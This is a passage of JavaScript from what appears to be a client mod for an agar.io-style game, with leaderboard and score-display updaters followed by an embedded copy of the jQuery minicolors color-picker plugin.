  1729. }
  1730.  
  1731. function xAzDefaultSkin() {
  1732.     $('#preview-img').attr('src', 'img/error.png');
  1733. }
  1734.  
  1735. $('.profs').bind('click', function () {
  1736.     $(this).attr('src', 'img/error.png');
  1737. });
  1738.  
  1739. function clearOldNodesData() {
  1740.     var i = 1;
  1741.     for (; i < nodeList.length; i++) {
  1742.         var t = nodeList[i][8];
  1743.         if (t) {
  1744.             if (5E3 < Date.now() - t) {
  1745.                 if (2 > i) {
  1746.                     nodeList[i][2] = null;
  1747.                     nodeList[i][3] = null;
  1748.                 } else {
  1749.                     nodeList[i][0] = "del";
  1750.                 }
  1751.             }
  1752.         }
  1753.     }
  1754.     setTimeout(clearOldNodesData, 5E3);
  1755. }
  1756.  
  1757. var isEnabledLeaderboardColor = true;
  1758.  
  1759. function updateLbDiv() {
  1760.     if ($("#div_lb").is(":visible")) {
  1761.         if (this['countdown'] < 3600) {
  1762.             _0x9b7fxb9();
  1763.             var _0x9b7fxbf = '';
  1764.             var _0x9b7fxc0 = Math['floor'](this['countdown'] / 60);
  1765.             if (_0x9b7fxc0 < 10) {
  1766.                 _0x9b7fxbf += '0'
  1767.             };
  1768.             _0x9b7fxbf += _0x9b7fxc0 + ' : ';
  1769.             var _0x9b7fxc1 = this['countdown'] % 60;
  1770.             if (_0x9b7fxc1 < 10) {
  1771.                 _0x9b7fxbf += '0'
  1772.             };
  1773.             _0x9b7fxbf += _0x9b7fxc1;
  1774.             _0x9b7fx2('.stats-time-left')['html']('00: ' + _0x9b7fxbf)
  1775.         };
  1776.         var apps = getLB();
  1777.         var codeSegments = getSelfIDs();
  1778.         var str = "";
  1779.         if (apps) {
  1780.             var a = 0;
  1781.             for (; a < apps.length; a++) {
  1782.                 var left = false;
  1783.                 var i = 0;
  1784.                 for (; i < codeSegments.length; i++) {
  1785.                     if (codeSegments[i] == apps[a].id) {
  1786.                         left = true;
  1787.                         break;
  1788.                     }
  1789.                 }
  1790.                 i = apps[a].name ? escapeHtml(apps[a].name) : "An unnamed cell";
  1791.                 if (isEnabledLeaderboardColor) {
  1792.                     var color = '#FFFFFF';
  1793.                     var leaderboardItem = i;
  1794.                     for (var j in window.tagColors) {
  1795.                         if (leaderboardItem['startsWith'](j)) {
  1796.                             color = tagColors[j]
  1797.                         }
  1798.                     };
  1799.                     str = str + '<div style=\'color:' + color + '\'>'
  1800.                 };
  1801.                 i = i.split("$")[0];
  1802.                 str = left ? str + "<div class='self'>" : str + "<div>";
  1803.                 str += a + 1 + ". " + i + "</div>";
  1804.             }
  1805.         }
  1806.         document.getElementById("lb_detail").innerHTML = str;
  1807.     }
  1808.     setTimeout(updateLbDiv, 1E3);
  1809. }
  1810.  
  1811. function updateScoreDiv() {
  1812.     var message = getHighestScore();
  1813.     var actualMass = currentMass();
  1814.     var json = getCell();
  1815.     var string = [];
  1816.     if (0 != message) {
  1817.         if (UI.isShowScroll) {
  1818.             string.push("Score: " + ~~(message / 100));
  1819.         }
  1820.         if (UI.isShowMass) {
  1821.             string.push("Mass: " + ~~(actualMass / 100));
  1822.         }
  1823.         if (json) {
  1824.             if (0 < json.length) {
  1825.                 if (UI.isShowSTE) {
  1826.                     message = UI.getSTE(json);
  1827.                     string.push("STE: " + message);
  1828.                 }
  1829.                 if (UI.isShowBallTotal) {
  1830.                     string.push("[" + json.length + "/16]");
  1831.                 }
  1832.             }
  1833.         }
  1834.     }
  1835.     if (UI.isShowFPS) {
  1836.         json = getFPS();
  1837.         if (50 >= json) {
  1838.             json += 8;
  1839.         } else {
  1840.             if (45 >= json) {
  1841.                 json += 10;
  1842.             } else {
  1843.                 if (40 >= json) {
  1844.                     json += 15;
  1845.                 }
  1846.             }
  1847.         }
  1848.         string.push("FPS: " + json);
  1849.     }
  1850.     if (UI.isShowPacketIO) {
  1851.         var packet = getPacketIO();
  1852.         string.push("PIO: " + packet[0] + '|' + packet[1]);
  1853.     }
  1854.     if (UI.isEnableLockZoom) {
  1855.         string.push("&#128274;");
  1856.     }
  1857.     if (UI.smoothCamera) {
  1858.         string.push("&#12484;"); // ツ
  1859.     }
  1860.     if (0 < string.length) {
  1861.         if (!$("#div_score").is(":visible")) {
  1862.             $("#div_score").show();
  1863.         }
  1864.         document.getElementById("div_score").innerHTML = string.join("&nbsp;&nbsp;&nbsp;").trim();
  1865.     } else {
  1866.         $("#div_score").hide();
  1867.     }
  1868.     setTimeout(updateScoreDiv, 500);
  1869. }
  1870. var testingVal = 29;
  1871. var testingCount = 0;
  1872. var testingInd = false;
  1873. var spectateMode;
  1874. if (! function(factory) {
  1875.         if ("function" == typeof define && define.amd) {
  1876.             define(["jquery"], factory);
  1877.         } else {
  1878.             if ("object" == typeof exports) {
  1879.                 module.exports = factory(require("jquery"));
  1880.             } else {
  1881.                 factory(jQuery);
  1882.             }
  1883.         }
  1884.     }(function($) {
  1885.         function init(input, settings) {
  1886.             var minicolors = $('<div class="minicolors" />');
  1887.             var defaults = $.minicolors.defaults;
  1888.             input.attr("data-opacity");
  1889.             var copyProp;
  1890.             if (!input.data("minicolors-initialized")) {
  1891.                 settings = $.extend(true, {}, defaults, settings);
  1892.                 minicolors.addClass("minicolors-theme-" + settings.theme).toggleClass("minicolors-with-opacity", settings.opacity).toggleClass("minicolors-no-data-uris", true !== settings.dataUris);
  1893.                 if (void 0 !== settings.position) {
  1894.                     $.each(settings.position.split(" "), function() {
  1895.                         minicolors.addClass("minicolors-position-" + this);
  1896.                     });
  1897.                 }
  1898.                 copyProp = "rgb" === settings.format ? settings.opacity ? "25" : "20" : settings.keywords ? "11" : "7";
  1899.                 input.addClass("minicolors-input").data("minicolors-initialized", false).data("minicolors-settings", settings).prop("size", copyProp).wrap(minicolors).after('<div class="minicolors-panel minicolors-slider-' + settings.control + '"><div class="minicolors-slider minicolors-sprite"><div class="minicolors-picker"></div></div><div class="minicolors-opacity-slider minicolors-sprite"><div class="minicolors-picker"></div></div><div class="minicolors-grid minicolors-sprite"><div class="minicolors-grid-inner"></div><div class="minicolors-picker"><div></div></div></div></div>');
  1900.                 if (!settings.inline) {
  1901.                     input.after('<span class="minicolors-swatch minicolors-sprite"><span class="minicolors-swatch-color"></span></span>');
  1902.                     input.next(".minicolors-swatch").on("click", function(types) {
  1903.                         types.preventDefault();
  1904.                         input.focus();
  1905.                     });
  1906.                 }
  1907.                 input.parent().find(".minicolors-panel").on("selectstart", function() {
  1908.                     return false;
  1909.                 }).end();
  1910.                 if (settings.inline) {
  1911.                     input.parent().addClass("minicolors-inline");
  1912.                 }
  1913.                 updateFromInput(input, false);
  1914.                 input.data("minicolors-initialized", true);
  1915.             }
  1916.         }
  1917.  
  1918.         function destroy(input) {
  1919.             var modifiers = input.parent();
  1920.             input.removeData("minicolors-initialized").removeData("minicolors-settings").removeProp("size").removeClass("minicolors-input");
  1921.             modifiers.before(input).remove();
  1922.         }
  1923.  
  1924.         function show(input) {
  1925.             var minicolors = input.parent();
  1926.             var event = minicolors.find(".minicolors-panel");
  1927.             var settings = input.data("minicolors-settings");
  1928.             if (input.data("minicolors-initialized")) {
  1929.                 if (!input.prop("disabled")) {
  1930.                     if (!minicolors.hasClass("minicolors-inline")) {
  1931.                         if (!minicolors.hasClass("minicolors-focus")) {
  1932.                             hide();
  1933.                             minicolors.addClass("minicolors-focus");
  1934.                             event.stop(true, true).fadeIn(settings.showSpeed, function() {
  1935.                                 if (settings.show) {
  1936.                                     settings.show.call(input.get(0));
  1937.                                 }
  1938.                             });
  1939.                         }
  1940.                     }
  1941.                 }
  1942.             }
  1943.         }
  1944.  
  1945.         function hide() {
  1946.             $(".minicolors-focus").each(function() {
  1947.                 var minicolors = $(this);
  1948.                 var input = minicolors.find(".minicolors-input");
  1949.                 var panel = minicolors.find(".minicolors-panel");
  1950.                 var settings = input.data("minicolors-settings");
  1951.                 panel.fadeOut(settings.hideSpeed, function() {
  1952.                     if (settings.hide) {
  1953.                         settings.hide.call(input.get(0));
  1954.                     }
  1955.                     minicolors.removeClass("minicolors-focus");
  1956.                 });
  1957.             });
  1958.         }
  1959.  
  1960.         function move(target, e, animate) {
  1961.             var input = target.parents(".minicolors").find(".minicolors-input");
  1962.             var settings = input.data("minicolors-settings");
  1963.             var mod = target.find("[class$=-picker]");
  1964.             var offsetX = target.offset().left;
  1965.             var offsetY = target.offset().top;
  1966.             var posX = Math.round(e.pageX - offsetX);
  1967.             var y = Math.round(e.pageY - offsetY);
  1968.             animate = animate ? settings.animationSpeed : 0;
  1969.             var originalX;
  1970.             var originalY;
  1971.             var u;
  1972.             var theta2;
  1973.             if (e.originalEvent.changedTouches) {
  1974.                 posX = e.originalEvent.changedTouches[0].pageX - offsetX;
  1975.                 y = e.originalEvent.changedTouches[0].pageY - offsetY;
  1976.             }
  1977.             if (0 > posX) {
  1978.                 posX = 0;
  1979.             }
  1980.             if (0 > y) {
  1981.                 y = 0;
  1982.             }
  1983.             if (posX > target.width()) {
  1984.                 posX = target.width();
  1985.             }
  1986.             if (y > target.height()) {
  1987.                 y = target.height();
  1988.             }
  1989.             if (target.parent().is(".minicolors-slider-wheel")) {
  1990.                 if (mod.parent().is(".minicolors-grid")) {
  1991.                     originalX = 75 - posX;
  1992.                     originalY = 75 - y;
  1993.                     u = Math.sqrt(originalX * originalX + originalY * originalY);
  1994.                     theta2 = Math.atan2(originalY, originalX);
  1995.                     if (0 > theta2) {
  1996.                         theta2 += 2 * Math.PI;
  1997.                     }
  1998.                     if (u > 75) {
  1999.                         u = 75;
  2000.                         posX = 75 - 75 * Math.cos(theta2);
  2001.                         y = 75 - 75 * Math.sin(theta2);
  2002.                     }
  2003.                     posX = Math.round(posX);
  2004.                     y = Math.round(y);
  2005.                 }
  2006.             }
  2007.             if (target.is(".minicolors-grid")) {
  2008.                 mod.stop(true).animate({
  2009.                     top: y + "px",
  2010.                     left: posX + "px"
  2011.                 }, animate, settings.animationEasing, function() {
  2012.                     updateFromControl(input, target);
  2013.                 });
  2014.             } else {
  2015.                 mod.stop(true).animate({
  2016.                     top: y + "px"
  2017.                 }, animate, settings.animationEasing, function() {
  2018.                     updateFromControl(input, target);
  2019.                 });
  2020.             }
  2021.         }
  2022.  
  2023.         function updateFromControl(input, target) {
  2024.             function getCoords(picker, target) {
  2025.                 var pos;
  2026.                 var base;
  2027.                 return picker.length && target ? (pos = picker.offset().left, base = picker.offset().top, {
  2028.                     x: pos - target.offset().left + picker.outerWidth() / 2,
  2029.                     y: base - target.offset().top + picker.outerHeight() / 2
  2030.                 }) : null;
  2031.             }
  2032.             var H;
  2033.             var hex;
  2034.             var p2;
  2035.             var x;
  2036.             var y;
  2037.             var slider;
  2038.             x = input.val();
  2039.             var opacity = input.attr("data-opacity");
  2040.             y = input.parent();
  2041.             var settings = input.data("minicolors-settings");
  2042.             var component = y.find(".minicolors-swatch");
  2043.             slider = y.find(".minicolors-grid");
  2044.             var value = y.find(".minicolors-slider");
  2045.             var grid = y.find(".minicolors-opacity-slider");
  2046.             p2 = slider.find("[class$=-picker]");
  2047.             var picker = value.find("[class$=-picker]");
  2048.             var c3 = grid.find("[class$=-picker]");
  2049.             if (p2 = getCoords(p2, slider), picker = getCoords(picker, value), c3 = getCoords(c3, grid), target.is(".minicolors-grid, .minicolors-slider, .minicolors-opacity-slider")) {
  2050.                 switch (settings.control) {
  2051.                     case "wheel":
  2052.                         x = slider.width() / 2 - p2.x;
  2053.                         y = slider.height() / 2 - p2.y;
  2054.                         slider = Math.sqrt(x * x + y * y);
  2055.                         x = Math.atan2(y, x);
  2056.                         if (0 > x) {
  2057.                             x += 2 * Math.PI;
  2058.                         }
  2059.                         if (slider > 75) {
  2060.                             slider = 75;
  2061.                             p2.x = 69 - 75 * Math.cos(x);
  2062.                             p2.y = 69 - 75 * Math.sin(x);
  2063.                         }
  2064.                         hex = width(slider / 0.75, 0, 100);
  2065.                         H = width(180 * x / Math.PI, 0, 360);
  2066.                         p2 = width(100 - Math.floor(picker.y * (100 / value.height())), 0, 100);
  2067.                         x = hsb2hex({
  2068.                             h: H,
  2069.                             s: hex,
  2070.                             b: p2
  2071.                         });
  2072.                         value.css("backgroundColor", hsb2hex({
  2073.                             h: H,
  2074.                             s: hex,
  2075.                             b: 100
  2076.                         }));
  2077.                         break;
  2078.                     case "saturation":
  2079.                         H = width(parseInt(p2.x * (360 / slider.width()), 10), 0, 360);
  2080.                         hex = width(100 - Math.floor(picker.y * (100 / value.height())), 0, 100);
  2081.                         p2 = width(100 - Math.floor(p2.y * (100 / slider.height())), 0, 100);
  2082.                         x = hsb2hex({
  2083.                             h: H,
  2084.                             s: hex,
  2085.                             b: p2
  2086.                         });
  2087.                         value.css("backgroundColor", hsb2hex({
  2088.                             h: H,
  2089.                             s: 100,
  2090.                             b: p2
  2091.                         }));
  2092.                         y.find(".minicolors-grid-inner").css("opacity", hex / 100);
  2093.                         break;
  2094.                     case "brightness":
  2095.                         H = width(parseInt(p2.x * (360 / slider.width()), 10), 0, 360);
  2096.                         hex = width(100 - Math.floor(p2.y * (100 / slider.height())), 0, 100);
  2097.                         p2 = width(100 - Math.floor(picker.y * (100 / value.height())), 0, 100);
  2098.                         x = hsb2hex({
  2099.                             h: H,
  2100.                             s: hex,
  2101.                             b: p2
  2102.                         });
  2103.                         value.css("backgroundColor", hsb2hex({
  2104.                             h: H,
  2105.                             s: hex,
  2106.                             b: 100
  2107.                         }));
  2108.                         y.find(".minicolors-grid-inner").css("opacity", 1 - p2 / 100);
  2109.                         break;
  2110.                     default:
  2111.                         H = width(360 - parseInt(picker.y * (360 / value.height()), 10), 0, 360);
  2112.                         hex = width(Math.floor(p2.x * (100 / slider.width())), 0, 100);
  2113.                         p2 = width(100 - Math.floor(p2.y * (100 / slider.height())), 0, 100);
  2114.                         x = hsb2hex({
  2115.                             h: H,
  2116.                             s: hex,
  2117.                             b: p2
  2118.                         });
  2119.                         slider.css("backgroundColor", hsb2hex({
  2120.                             h: H,
  2121.                             s: 100,
  2122.                             b: 100
  2123.                         }));
  2124.                 }
  2125.                 opacity = settings.opacity ? parseFloat(1 - c3.y / grid.height()).toFixed(2) : 1;
  2126.                 if (settings.opacity) {
  2127.                     input.attr("data-opacity", opacity);
  2128.                 }
  2129.                 if ("rgb" === settings.format) {
  2130.                     value = hex2rgb(x);
  2131.                     opacity = "" === input.attr("data-opacity") ? 1 : width(parseFloat(input.attr("data-opacity")).toFixed(2), 0, 1);
  2132.                     if (isNaN(opacity) || !settings.opacity) {
  2133.                         opacity = 1;
  2134.                     }
  2135.                     hex = 1 >= input.minicolors("rgbObject").a && (value && settings.opacity) ? "rgba(" + value.r + ", " + value.g + ", " + value.b + ", " + parseFloat(opacity) + ")" : "rgb(" + value.r + ", " + value.g + ", " + value.b + ")";
  2136.                 } else {
  2137.                     hex = convertCase(x, settings.letterCase);
  2138.                 }
  2139.                 input.val(hex);
  2140.             }
  2141.             component.find("span").css({
  2142.                 backgroundColor: x,
  2143.                 opacity: opacity
  2144.             });
  2145.             doChange(input, hex, opacity);
  2146.         }
  2147.  
  2148.         function updateFromInput(input, recurring) {
  2149.             var col;
  2150.             var hsb;
  2151.             var value;
  2152.             var p;
  2153.             var end;
  2154.             var hex;
  2155.             var height;
  2156.             var theta2;
  2157.             theta2 = input.parent();
  2158.             var settings = input.data("minicolors-settings");
  2159.             var component = theta2.find(".minicolors-swatch");
  2160.             var slider = theta2.find(".minicolors-grid");
  2161.             var grid = theta2.find(".minicolors-slider");
  2162.             var video = theta2.find(".minicolors-opacity-slider");
  2163.             var dragHelper = slider.find("[class$=-picker]");
  2164.             var elem = grid.find("[class$=-picker]");
  2165.             var $canvas = video.find("[class$=-picker]");
  2166.             switch (_forEach(input.val()) ? (col = parseTime(input.val()), end = width(parseFloat(attr(input.val())).toFixed(2), 0, 1), end && input.attr("data-opacity", end)) : col = convertCase(extend(input.val(), true), settings.letterCase), col || (col = convertCase(parseHex(settings.defaultValue, true), settings.letterCase)), hsb = RGBToHSB(col), p = settings.keywords ? $.map(settings.keywords.split(","), function(m3) {
  2167.                 return $.trim(m3.toLowerCase());
  2168.             }) : [], hex = "" !== input.val() && -1 < $.inArray(input.val().toLowerCase(), p) ? convertCase(input.val()) : _forEach(input.val()) ? find(input.val()) : col, recurring || input.val(hex), settings.opacity && (value = "" === input.attr("data-opacity") ? 1 : width(parseFloat(input.attr("data-opacity")).toFixed(2), 0, 1), isNaN(value) && (value = 1), input.attr("data-opacity", value), component.find("span").css("opacity", value), height = width(video.height() - video.height() * value, 0, video.height()),
  2169.                 $canvas.css("top", height + "px")), "transparent" === input.val().toLowerCase() && component.find("span").css("opacity", 0), component.find("span").css("backgroundColor", col), settings.control) {
  2170.                 case "wheel":
  2171.                     height = width(Math.ceil(0.75 * hsb.s), 0, slider.height() / 2);
  2172.                     theta2 = hsb.h * Math.PI / 180;
  2173.                     p = width(75 - Math.cos(theta2) * height, 0, slider.width());
  2174.                     height = width(75 - Math.sin(theta2) * height, 0, slider.height());
  2175.                     dragHelper.css({
  2176.                         top: height + "px",
  2177.                         left: p + "px"
  2178.                     });
  2179.                     height = 150 - hsb.b / (100 / slider.height());
  2180.                     if ("" === col) {
  2181.                         height = 0;
  2182.                     }
  2183.                     elem.css("top", height + "px");
  2184.                     grid.css("backgroundColor", hsb2hex({
  2185.                         h: hsb.h,
  2186.                         s: hsb.s,
  2187.                         b: 100
  2188.                     }));
  2189.                     break;
  2190.                 case "saturation":
  2191.                     p = width(5 * hsb.h / 12, 0, 150);
  2192.                     height = width(slider.height() - Math.ceil(hsb.b / (100 / slider.height())), 0, slider.height());
  2193.                     dragHelper.css({
  2194.                         top: height + "px",
  2195.                         left: p + "px"
  2196.                     });
  2197.                     height = width(grid.height() - hsb.s * (grid.height() / 100), 0, grid.height());
  2198.                     elem.css("top", height + "px");
  2199.                     grid.css("backgroundColor", hsb2hex({
  2200.                         h: hsb.h,
  2201.                         s: 100,
  2202.                         b: hsb.b
  2203.                     }));
  2204.                     theta2.find(".minicolors-grid-inner").css("opacity", hsb.s / 100);
  2205.                     break;
  2206.                 case "brightness":
  2207.                     p = width(5 * hsb.h / 12, 0, 150);
  2208.                     height = width(slider.height() - Math.ceil(hsb.s / (100 / slider.height())), 0, slider.height());
  2209.                     dragHelper.css({
  2210.                         top: height + "px",
  2211.                         left: p + "px"
  2212.                     });
  2213.                     height = width(grid.height() - hsb.b * (grid.height() / 100), 0, grid.height());
  2214.                     elem.css("top", height + "px");
  2215.                     grid.css("backgroundColor", hsb2hex({
  2216.                         h: hsb.h,
  2217.                         s: hsb.s,
  2218.                         b: 100
  2219.                     }));
  2220.                     theta2.find(".minicolors-grid-inner").css("opacity", 1 - hsb.b / 100);
  2221.                     break;
  2222.                 default:
  2223.                     p = width(Math.ceil(hsb.s / (100 / slider.width())), 0, slider.width());
  2224.                     height = width(slider.height() - Math.ceil(hsb.b / (100 / slider.height())), 0, slider.height());
  2225.                     dragHelper.css({
  2226.                         top: height + "px",
  2227.                         left: p + "px"
  2228.                     });
  2229.                     height = width(grid.height() - hsb.h / (360 / grid.height()), 0, grid.height());
  2230.                     elem.css("top", height + "px");
  2231.                     slider.css("backgroundColor", hsb2hex({
  2232.                         h: hsb.h,
  2233.                         s: 100,
  2234.                         b: 100
  2235.                     }));
  2236.             }
  2237.             if (input.data("minicolors-initialized")) {
  2238.                 doChange(input, hex, value);
  2239.             }
  2240.         }
  2241.  
  2242.         function doChange(input, name, opacity) {
  2243.             var settings = input.data("minicolors-settings");
  2244.             var v = input.data("minicolors-lastChange");
  2245.             if (!(v && (v.value === name && v.opacity === opacity))) {
  2246.                 input.data("minicolors-lastChange", {
  2247.                     value: name,
  2248.                     opacity: opacity
  2249.                 });
  2250.                 if (settings.change) {
  2251.                     if (settings.changeDelay) {
  2252.                         clearTimeout(input.data("minicolors-changeTimeout"));
  2253.                         input.data("minicolors-changeTimeout", setTimeout(function() {
  2254.                             settings.change.call(input.get(0), name, opacity);
  2255.                         }, settings.changeDelay));
  2256.                     } else {
  2257.                         settings.change.call(input.get(0), name, opacity);
  2258.                     }
  2259.                 }
  2260.                 input.trigger("change").trigger("input");
  2261.             }
  2262.         }
  2263.  
  2264.         function rgbObject(a) {
  2265.             var rgb = extend($(a).val(), true);
  2266.             return rgb = hex2rgb(rgb), a = $(a).attr("data-opacity"), rgb ? (void 0 !== a && $.extend(rgb, {
  2267.                 a: parseFloat(a)
  2268.             }), rgb) : null;
  2269.         }
  2270.  
  2271.         function rgbString(input, rgba) {
  2272.             var color = extend($(input).val(), true);
  2273.             color = hex2rgb(color);
  2274.             var opacity = $(input).attr("data-opacity");
  2275.             return color ? (void 0 === opacity && (opacity = 1), rgba ? "rgba(" + color.r + ", " + color.g + ", " + color.b + ", " + parseFloat(opacity) + ")" : "rgb(" + color.r + ", " + color.g + ", " + color.b + ")") : null;
  2276.         }
  2277.  
  2278.         function convertCase(c, letterCase) {
  2279.             return "uppercase" === letterCase ? c.toUpperCase() : c.toLowerCase();
  2280.         }
  2281.  
  2282.         function extend(value, deepDataAndEvents) {
  2283.             return value = value.replace(/^#/g, ""), value.match(/^[A-F0-9]{3,6}/gi) ? 3 !== value.length && 6 !== value.length ? "" : (3 === value.length && (deepDataAndEvents && (value = value[0] + value[0] + value[1] + value[1] + value[2] + value[2])), "#" + value) : "";
  2284.         }
  2285.  
  2286.         function find(results, color) {
  2287.             var parts = results.replace(/[^\d,.]/g, "").split(",");
  2288.             return parts[0] = width(parseInt(parts[0], 10), 0, 255), parts[1] = width(parseInt(parts[1], 10), 0, 255), parts[2] = width(parseInt(parts[2], 10), 0, 255), parts[3] && (parts[3] = width(parseFloat(parts[3], 10), 0, 1)), color ? {
  2289.                 r: parts[0],
  2290.                 g: parts[1],
  2291.                 b: parts[2],
  2292.                 a: parts[3] ? parts[3] : null
  2293.             } : "undefined" != typeof parts[3] && 1 >= parts[3] ? "rgba(" + parts[0] + ", " + parts[1] + ", " + parts[2] + ", " + parts[3] + ")" : "rgb(" + parts[0] + ", " + parts[1] + ", " + parts[2] + ")";
  2294.         }
  2295.  
  2296.         function parseHex(data, deepDataAndEvents) {
  2297.             return _forEach(data) ? find(data) : extend(data, deepDataAndEvents);
  2298.         }
  2299.  
  2300.         function width(w, mayParseLabeledStatementInstead, expectedNumberOfNonCommentArgs) {
  2301.             return mayParseLabeledStatementInstead > w && (w = mayParseLabeledStatementInstead), w > expectedNumberOfNonCommentArgs && (w = expectedNumberOfNonCommentArgs), w;
  2302.         }
  2303.  
  2304.         function _forEach(entry) {
  2305.             return (entry = entry.match(/^rgba?[\s+]?\([\s+]?(\d+)[\s+]?,[\s+]?(\d+)[\s+]?,[\s+]?(\d+)[\s+]?/i)) && 4 === entry.length ? true : false;
  2306.         }
  2307.  
  2308.         function attr(k) {
  2309.             return (k = k.match(/^rgba?[\s+]?\([\s+]?(\d+)[\s+]?,[\s+]?(\d+)[\s+]?,[\s+]?(\d+)[\s+]?,[\s+]?(\d+(\.\d{1,2})?|\.\d{1,2})[\s+]?/i)) && 6 === k.length ? k[4] : "1";
  2310.         }
  2311.  
  2312.         function parseTime(str) {
  2313.             return str = str.match(/^rgba?[\s+]?\([\s+]?(\d+)[\s+]?,[\s+]?(\d+)[\s+]?,[\s+]?(\d+)[\s+]?/i), str && 4 === str.length ? "#" + ("0" + parseInt(str[1], 10).toString(16)).slice(-2) + ("0" + parseInt(str[2], 10).toString(16)).slice(-2) + ("0" + parseInt(str[3], 10).toString(16)).slice(-2) : "";
  2314.         }
  2315.  
  2316.         function rgb2hex(rgb) {
  2317.             var c = [rgb.r.toString(16), rgb.g.toString(16), rgb.b.toString(16)];
  2318.             return $.each(c, function(eventName, newlines) {
  2319.                 if (1 === newlines.length) {
  2320.                     c[eventName] = "0" + newlines;
  2321.                 }
  2322.             }), "#" + c.join("");
  2323.         }
  2324.  
  2325.         function hsb2hex(opt_attributes) {
  2326.             var r;
  2327.             var g;
  2328.             var b;
  2329.             var rgb2hsv = rgb2hex;
  2330.             var a = Math.round(opt_attributes.h);
  2331.             var m = Math.round(255 * opt_attributes.s / 100);
  2332.             if (opt_attributes = Math.round(255 * opt_attributes.b / 100), 0 === m) {
  2333.                 r = g = b = opt_attributes;
  2334.             } else {
  2335.                 m = (255 - m) * opt_attributes / 255;
  2336.                 var vmh = a % 60 * (opt_attributes - m) / 60;
  2337.                 if (360 === a) {
  2338.                     a = 0;
  2339.                 }
  2340.                 if (60 > a) {
  2341.                     r = opt_attributes;
  2342.                     b = m;
  2343.                     g = m + vmh;
  2344.                 } else {
  2345.                     if (120 > a) {
  2346.                         g = opt_attributes;
  2347.                         b = m;
  2348.                         r = opt_attributes - vmh;
  2349.                     } else {
  2350.                         if (180 > a) {
  2351.                             g = opt_attributes;
  2352.                             r = m;
  2353.                             b = m + vmh;
  2354.                         } else {
  2355.                             if (240 > a) {
  2356.                                 b = opt_attributes;
  2357.                                 r = m;
  2358.                                 g = opt_attributes - vmh;
  2359.                             } else {
  2360.                                 if (300 > a) {
  2361.                                     b = opt_attributes;
  2362.                                     g = m;
  2363.                                     r = m + vmh;
  2364.                                 } else {
  2365.                                     if (360 > a) {
  2366.                                         r = opt_attributes;
  2367.                                         g = m;
  2368.                                         b = opt_attributes - vmh;
  2369.                                     } else {
  2370.                                         r = 0;
  2371.                                         g = 0;
  2372.                                         b = 0;
  2373.                                     }
  2374.                                 }
  2375.                             }
  2376.                         }
  2377.                     }
  2378.                 }
  2379.             }
  2380.             return rgb2hsv({
  2381.                 r: Math.round(r),
  2382.                 g: Math.round(g),
  2383.                 b: Math.round(b)
  2384.             });
  2385.         }
  2386.  
  2387.         function RGBToHSB(rgb) {
  2388.             rgb = hex2rgb(rgb);
  2389.             var hsb = {
  2390.                 h: 0,
  2391.                 s: 0,
  2392.                 b: 0
  2393.             };
  2394.             var max = Math.max(rgb.r, rgb.g, rgb.b);
  2395.             var delta = max - Math.min(rgb.r, rgb.g, rgb.b);
  2396.             return hsb.b = max, hsb.s = 0 !== max ? 255 * delta / max : 0, 0 !== hsb.s ? rgb.r === max ? hsb.h = (rgb.g - rgb.b) / delta : rgb.g === max ? hsb.h = 2 + (rgb.b - rgb.r) / delta : hsb.h = 4 + (rgb.r - rgb.g) / delta : hsb.h = -1, hsb.h *= 60, 0 > hsb.h && (hsb.h += 360), hsb.s *= 100 / 255, hsb.b *= 100 / 255, rgb = hsb, 0 === rgb.s && (rgb.h = 360), rgb;
  2397.         }
  2398.  
  2399.         function hex2rgb(hex) {
  2400.             return hex = parseInt(-1 < hex.indexOf("#") ? hex.substring(1) : hex, 16), {
  2401.                 r: hex >> 16,
  2402.                 g: (65280 & hex) >> 8,
  2403.                 b: 255 & hex
  2404.             };
  2405.         }
  2406.         $.minicolors = {
  2407.             defaults: {
  2408.                 animationSpeed: 50,
  2409.                 animationEasing: "swing",
  2410.                 change: null,
  2411.                 changeDelay: 0,
  2412.                 control: "hue",
  2413.                 dataUris: true,
  2414.                 defaultValue: "",
  2415.                 format: "hex",
  2416.                 hide: null,
  2417.                 hideSpeed: 100,
  2418.                 inline: false,
  2419.                 keywords: "",
  2420.                 letterCase: "lowercase",
  2421.                 opacity: false,
  2422.                 position: "bottom left",
  2423.                 show: null,
  2424.                 showSpeed: 100,
  2425.                 theme: "default"
  2426.             }
  2427.         };
  2428.         $.extend($.fn, {
  2429.             minicolors: function(method, data) {
  2430.                 switch (method) {
  2431.                     case "destroy":
  2432.                         return $(this).each(function() {
  2433.                             destroy($(this));
  2434.                         }), $(this);
  2435.                     case "hide":
  2436.                         return hide(), $(this);
  2437.                     case "opacity":
  2438.                         return void 0 === data ? $(this).attr("data-opacity") : ($(this).each(function() {
  2439.                             updateFromInput($(this).attr("data-opacity", data));
  2440.                         }), $(this));
  2441.                     case "rgbObject":
  2442.                         return rgbObject($(this), "rgbaObject" === method);
  2443.                     case "rgbString":
  2444.                         ;
  2445.                     case "rgbaString":
  2446.                         return rgbString($(this), "rgbaString" === method);
  2447.                     case "settings":
  2448.                         return void 0 === data ? $(this).data("minicolors-settings") : ($(this).each(function() {
  2449.                             var settings = $(this).data("minicolors-settings") || {};
  2450.                             destroy($(this));
  2451.                             $(this).minicolors($.extend(true, settings, data));
  2452.                         }), $(this));
  2453.                     case "show":
  2454.                         return show($(this).eq(0)), $(this);
  2455.                     case "value":
  2456.                         return void 0 === data ? $(this).val() : ($(this).each(function() {
  2457.                             if ("object" == typeof data) {
  2458.                                 if (data.opacity) {
  2459.                                     $(this).attr("data-opacity", width(data.opacity, 0, 1));
  2460.                                 }
  2461.                                 if (data.color) {
  2462.                                     $(this).val(data.color);
  2463.                                 }
  2464.                             } else {
  2465.                                 $(this).val(data);
  2466.                             }
  2467.                             updateFromInput($(this));
  2468.                         }), $(this));
  2469.                     default:
  2470.                         return "create" !== method && (data = method), $(this).each(function() {
  2471.                             init($(this), data);
  2472.                         }), $(this);
  2473.                 }
  2474.             }
  2475.         });
  2476.         $(document).on("mousedown.minicolors touchstart.minicolors", function(ev) {
  2477.             if (!$(ev.target).parents().add(ev.target).hasClass("minicolors")) {
  2478.                 hide();
  2479.             }
  2480.         }).on("mousedown.minicolors touchstart.minicolors", ".minicolors-grid, .minicolors-slider, .minicolors-opacity-slider", function(event) {
  2481.             var i = $(this);
  2482.             event.preventDefault();
  2483.             $(document).data("minicolors-target", i);
  2484.             move(i, event, true);
  2485.         }).on("mousemove.minicolors touchmove.minicolors", function(completeEvent) {
  2486.             var target = $(document).data("minicolors-target");
  2487.             if (target) {
  2488.                 move(target, completeEvent);
  2489.             }
  2490.         }).on("mouseup.minicolors touchend.minicolors", function() {
  2491.             $(this).removeData("minicolors-target");
  2492.         }).on("mousedown.minicolors touchstart.minicolors", ".minicolors-swatch", function(types) {
